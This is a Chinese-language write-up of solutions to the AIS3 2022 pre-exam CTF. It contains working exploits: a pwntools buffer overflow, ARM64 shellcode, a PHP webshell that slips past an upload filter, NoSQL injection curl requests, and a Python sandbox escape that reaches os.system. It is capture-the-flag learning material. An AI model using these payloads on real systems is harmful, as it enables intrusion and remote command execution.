Overview
今年打 AIS3 的 Pre-exam ,這次總共解了 8 題(不包括 Welcome),剩下的題目的解法有些是參考別人的 writeup
Read More →
[Pwn] BOF2WIN
思路 1 2 3 4 5 6 7 8 9 10 11 int __cdecl main (int argc, const char **argv, const char **envp) { char v4[16 ]; setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); puts ("What's your name?" ); gets(v4); printf ("Hello, %s!\n" , v4); return 0 ; }
可以看到第 8 行有 gets
漏洞,不會檢查邊界,因此可以 Buffer overflow 並控制 RIP 而 RIP 要跳到哪一個地址?在看過 IDA Pro 後可以發現到 get_the_flag()
的函式
1 2 3 4 5 6 7 8 9 10 11 int get_the_flag () { __int64 buf[7 ]; int fd; memset (buf, 0 , 48 ); fd = open("/home/bof2win/flag" , 0 ); read(fd, buf, 0x30 uLL); write(1 , buf, 0x30 uLL); return close(fd); }
可以透過get_the_flag()
的組合語言模式來找該記憶體位置,記憶體位置在 0x401216
1 2 3 4 5 6 7 8 9 10 11 12 13 14 .text:000000000401216 F3 0F 1 E FA endbr64 .text:000000000040121 A 55 push rbp .text:000000000040121B 48 89 E5 mov rbp, rsp .text:000000000040121 E 48 83 EC 40 sub rsp, 40 h .text:0000000000401222 48 C7 45 C0 00 00 00 00 mov [rbp+buf], 0 .text:000000000040122 A 48 C7 45 C8 00 00 00 00 mov [rbp+var_38], 0 .text:0000000000401232 48 C7 45 D0 00 00 00 00 mov [rbp+var_30], 0 .text:000000000040123 A 48 C7 45 D8 00 00 00 00 mov [rbp+var_28], 0 .text:0000000000401242 48 C7 45 E0 00 00 00 00 mov [rbp+var_20], 0 .text:000000000040124 A 48 C7 45 E8 00 00 00 00 mov [rbp+var_18], 0 .text:0000000000401252 BE 00 00 00 00 mov esi, 0 ; oflag .text:0000000000401257 48 8 D 3 D A6 0 D 00 00 lea rdi, file ; "/home/bof2win/flag" .text:000000000040125 E B8 00 00 00 00 mov eax, 0 .text:0000000000401263 E8 B8 FE FF FF call _open
Exploit Code: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context.update(log_level='info' ) padding = cyclic_find("gaaa" ) usefulFunction_adr = 0x401216 p = remote("chals1.ais3.org" , 12347 ) padding = "A" * padding payload = padding payload += p64(usefulFunction_adr) p.sendline(payload) p.interactive()
Result
Got flag: AIS3{Re@1_B0F_m4st3r!!}
SAAS - Crash
思路 Heap 的 double free attack (有點半矇到, 但 flag is flag lol)
Exploit
Got flag: AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?}
[Reverse] Time Management
思路 一看到題目是 time management,我第一直覺是 sleep()
,剛好在題目裡也有看到,所以就特別留意
丟進 IDA Decompile 完,可以看到第 13 行有一個 sleep(0x8763)
,會造成整個程式卡住,因此我想說能否 patch 掉這個函式?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 nt __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v4; int i; int j; puts ("Hope you have enough time to receive my flag:" ); for ( i = 0 ; i <= 23 ; i += 2 ) { v4 = *(_DWORD *)&secret[4 * i] ^ key[*(unsigned int *)&secret[4 * i + 4 ]]; for ( j = 0 ; j <= 3 ; ++j ) { sleep(0x8763 u); printf ("%c" , v4); v4 >>= 8 ; fflush(_bss_start); } } puts ("\rOops! Where is the flag? I am sure that the flag is already printed!" ); return 0 ; }
根據 IDA 發現 sleep 的 offset 在 0x122B
,該 instruction code 是 BF 63 87 00 00 E8 7B FE FF FF
,透過 010 Editor 便可以 patch 掉
1 2 3 .text:000000000000122B loc_122B: ; seconds .text:000000000000122B BF 63 87 00 00 mov edi, 8763 h .text:0000000000001230 E8 7B FE FF FF call _sleep
patch 完後長這樣
Exploit 接著再把它丟回 gdb
,設斷點在 printf
,每次 4 個 byte 從 RSI
的把 flag leak 出來
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 jeff14994@jeff14994-VirtualBox:~/Desktop/AIS3-2022 /reverse/management_time$ gdb ./fixed_chal GNU gdb (Ubuntu 8.3 -0u buntu1) 8.3 gef➤ b printf Breakpoint 1 at 0x1090 [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0 $rcx : 0x2c $rdx : 0x454b4146 $rsp : 0x007fffffffe128 → 0x0055555555524b → <main+162> mov eax, DWORD PTR [rbp-0xc] $rbp : 0x007fffffffe140 → 0x00555555555290 → <__libc_csu_init+0> endbr64 $rsi : 0x33534941 $rdi : 0x005555555560de → 0x00000000006325 ("%c" ?) $rip : 0x007ffff7e24d70 → <printf +0> endbr64 $r8 : 0x2e $r9 : 0x7c $r10 : 0x007ffff7faabe0 → 0x005555555596a0 → 0x0000000000000000 $r11 : 0x246 $r12 : 0x005555555550c0 → <_start+0> endbr64 $r13 : 0x007fffffffe220 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x007fffffffe128│+0x0000: 0x0055555555524b → <main+162> mov eax, DWORD PTR [rbp-0xc] ← $rsp 0x007fffffffe130│+0x0008: 0x33534941ffffe220 0x007fffffffe138│+0x0010: 0x0000000000000000 0x007fffffffe140│+0x0018: 0x00555555555290 → <__libc_csu_init+0> endbr64 ← $rbp 0x007fffffffe148│+0x0020: 0x007ffff7de71e3 → <__libc_start_main+243> mov edi, eax 0x007fffffffe150│+0x0028: 0x0000000000000000 0x007fffffffe158│+0x0030: 0x007fffffffe228 → 0x007fffffffe4e6 → "/home/jeff14994/Desktop/AIS3-2022/reverse/manageme[...]" 0x007fffffffe160│+0x0038: 0x0000000100040000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x7ffff7e24d61 <fprintf +177> ret 0x7ffff7e24d62 <fprintf +178> call 0x7ffff7ef2d60 <__stack_chk_fail> 0x7ffff7e24d67 nop WORD PTR [rax+rax*1+0x0] → 0x7ffff7e24d70 <printf +0> endbr64 0x7ffff7e24d74 <printf +4> sub rsp, 0xd8 0x7ffff7e24d7b <printf +11> mov r10, rdi 0x7ffff7e24d7e <printf +14> mov QWORD PTR [rsp+0x28], rsi 0x7ffff7e24d83 <printf +19> mov QWORD PTR [rsp+0x30], rdx 0x7ffff7e24d88 <printf +24> mov QWORD PTR [rsp+0x38], rcx ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "fixed_chal", stopped 0x7ffff7e24d70 in __printf () , reason: BREAKPOINT ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x7ffff7e24d70 → __printf (format=0x5555555560de "%c" ) [#1] 0x55555555524b → main ()
接著再重組散亂的 flag
Got flag: AIS3{You_are_the_master_of_time_management!!!!!}
Give Me SC 要給 ARM64 的 shellcode
Exploit 1 2 3 4 5 6 7 8 from pwn import *shellcode = b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4" p = remote("127.0.0.1" , 15566 ) p.recv() p.sendline("omg" .encode()) p.recv() p.sendline(shellcode) p.interactive()
Result
[Web] Poking Bear
根據我觀察到的規律,解答有可能在 endpoint 350 - 777
的區間,可以戳出圖案。但不確定是哪一個,所以我使用 Burp Suite 來猜,結過發現 499
的 response 跟其他人的不同
在 499
發現 SECRET BEAR
發現會驗證 Cookie,因此把 Value 改成 "bear poker"
就可以拿到 flag
Result
Got flag: AIS3{y0u_P0l3_7h3_Bear_H@rdLy<}
Simple File Uploader
思路 是 PHP 的題目,但我忘記存它的 source code。我記得它會先驗證 file extension (使用 php, php5 等等會被 block),接著驗證裡面的內容(使用黑名單,使用 eval(), passthru() 等等的函式會被 block),上傳完就會拿到 /upload/xxx.php
來執行你上傳的程式
我試了很多次,不過我就只講成功的那一次
Bypass 副檔名 .PHp
Bypass 內容驗證 echo `[arbitrary command]`;
Exploit Code 1 2 3 4 5 檔名 exploit.PHp <?php echo `/rUn_M3_t0_9et_fL4g`;?>
使用 ls
看到的內容,發現有一個 rUn_M3_t0_9et_fL4g
=> run me to get flag
執行完 /rUn_M3_t0_9et_fL4g
Got flag: AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}
the_best_login_ui Description 1 app.use (bodyParser.urlencoded ({ extended : true }));
可以透過 no_sql injection 進行 data leaking
1 2 3 4 5 6 7 8 9 10 11 12 curl 127.0.0.1:54088/login -d 'username=admin&password[$regex]=.{41}' curl 127.0.0.1:54088/login -d 'username=admin&password[$regex]=.{42}' curl 127.0.0.1:54088/login -d 'username[$ne]=toto&password[$regex]=AIS3{B.{35}'
[Crypto] SC
思路 看到關鍵字 Substitution cipher
,想說看網路上有沒有現成的工具可以解,結果發現沒有,所以最後自幹。用紙筆大概解了 30-40 分鐘,中間有幾次把 0
當成 O
差點解不出來
密文 => 要想辦法找到對應的 key 轉回明文 5xvJ{IVnCDwT_I24t6W626DVw_ODPzJi_FDMz_awVFw_PWmDw6J86_m66cOa}
Source Code 加密過程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import stringimport randomdef shuffle (x ): x = list (x) random.shuffle(x) return x def encrypt (T, file ): with open (file) as f: pt = f.read() with open (f"{file} .enc" , "w" ) as f: f.write(pt.translate(T)) charset = string.ascii_lowercase + string.ascii_uppercase + string.digits shuffled = "" .join(shuffle(charset)) T = str .maketrans(charset, shuffled) encrypt(T, "flag.txt" ) encrypt(T, __file__)
自幹筆記 一左一右找對應(從 [0-9A-Za-z]
)
找完對應後,再把 flag 轉回來
結果發現 Python 好像可以用 maketrans()
來轉換…
Got flag: 我發現好像沒存到...,不過可以在筆記裡面看到
[Misc] Gift in the dream
思路 strings
binary 後發現 hint: Qwhy is the animation lagging? why is the duration so weird? is this just a dream?
,猜想應該跟gif
的時間間隔有關
Exploit 1 identify -format "%s %T \n" gift_in_the_dream_updated.gif | cut -d ' ' -f2 | awk '{ printf("%c",$0); }'
Result 1 2 identify -format "%s %T \n" gift_in_the_dream_updated.gif | cut -d ' ' -f2 | awk '{ printf("%c",$0); }' AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe}%
Got flag: AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe}
Excel
使用 binwalk
、openpyxl
解出來的結果都很怪,最後還是使用 M$ 的Excel
來開這個檔案
一打開就看到跳 macros
接著看到 openpyxl
,猜官方解應該是用這個套件
最後發現 Worksheets
應該有這麼多,但都沒顯示出來
Exploit Google 一下怎麼顯示隱藏的 worksheets 後,在 A58
發現一個 Formula。執行後,在 A137
便可找到結果
現在才發現原來 Excel 可以隱藏 worksheets LOL) (技能 GET)
Result
Got flag: AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}
knock
先用 wireshark 錄封包,敲完後開始分析udp && ip.src==10.113.203.111 && not icmp
可以看到 port number 都不同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 12065 12073 12083 12051 12123 12107 12110 12048 12099 12107 12075 12078 12079 12067 12075 12107 12110 12111 12099 12107 12125
1 2 3 4 5 6 7 8 9 10 11 12 13 14 cat port.txt | cut -c 3-5 | awk '{printf("%c",$1)}'
cut awk printf xargs
Got flag: AIS3{kn0ckKNOCKknock}
seadog_webshell Description 題目的 docker-compose.yml
,flag 藏在環境變數,port 開在 12369,並且啟動 xinetd 當作 daemon,而這個 daemon 則呼叫了 webshell,而這個 webshell 則是短短的一個指令 base64 | timeout 10s sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 version: '3' services: seadog-shell : build: ./ volumes: - ./src/webshell:/webshell:ro - ./xinetd:/etc/xinetd.d/seadog-shell :ro environment: FLAG: AIS3{not real flag} ports: - "12369:12369" FROM archlinux:baseRUN pacman -Syyu --noconfirm RUN pacman -S coreutils xinetd --noconfirm RUN useradd -m ctf CMD ["/usr/sbin/xinetd" , "-dontfork" ] service seadog-shell { disable = no type = UNLISTED wait = no server = /webshell socket_type = stream protocol = tcp user = ctf port = 12369 flags = REUSE } base64 | timeout 10 s sh
思路 想辦法繞過這個 base64
並取得環境變數 flag
因為 base64 的原理是每 4 個字元可以轉換成 3 個字元,所以要想辦法湊成指令,滿足
字元在 base64 的索引範圍
字元數是四的倍數(可以用 / 來湊字數)
轉換後仍可以執行 linux command
Resources
Exploit: 1 2 3 4 echo "//bin/ls" | base64 -d | nc 127.0.0.1 12369echo "/usr/bin/env" | base64 -d | nc 127.0.0.1 12369
Descripiton Python sandbox 要想辦法逃脫這個 sandbox,然後取得 flag
1 2 3 4 elif isinstance (node, ast.Slice): return traverse(node.lower) and traverse(node.upper)
從 ast 的程式碼可以看到,Slice 其實有三個參數,而上面只 traverse 了兩個(step
沒有被 traverse 到,因此可以拿來利用)
1 Slice(expr? lower, expr? upper, expr? step)
Exploit 1 2 3 4 5 6 7 8 9 10 11 [int ][::print (list (enumerate ('' .__class__.__mro__[-1 ].__subclasses__())))] [int , int , int ][::print ('' .__class__.__mro__[-1 ].__subclasses__()[127 ])] [int ,int ,int ][::print ('' .__class__.__mro__[-1 ].__subclasses__()[127 ].__init__.__globals__['system' ]('cat ./flag.txt' ))]
Result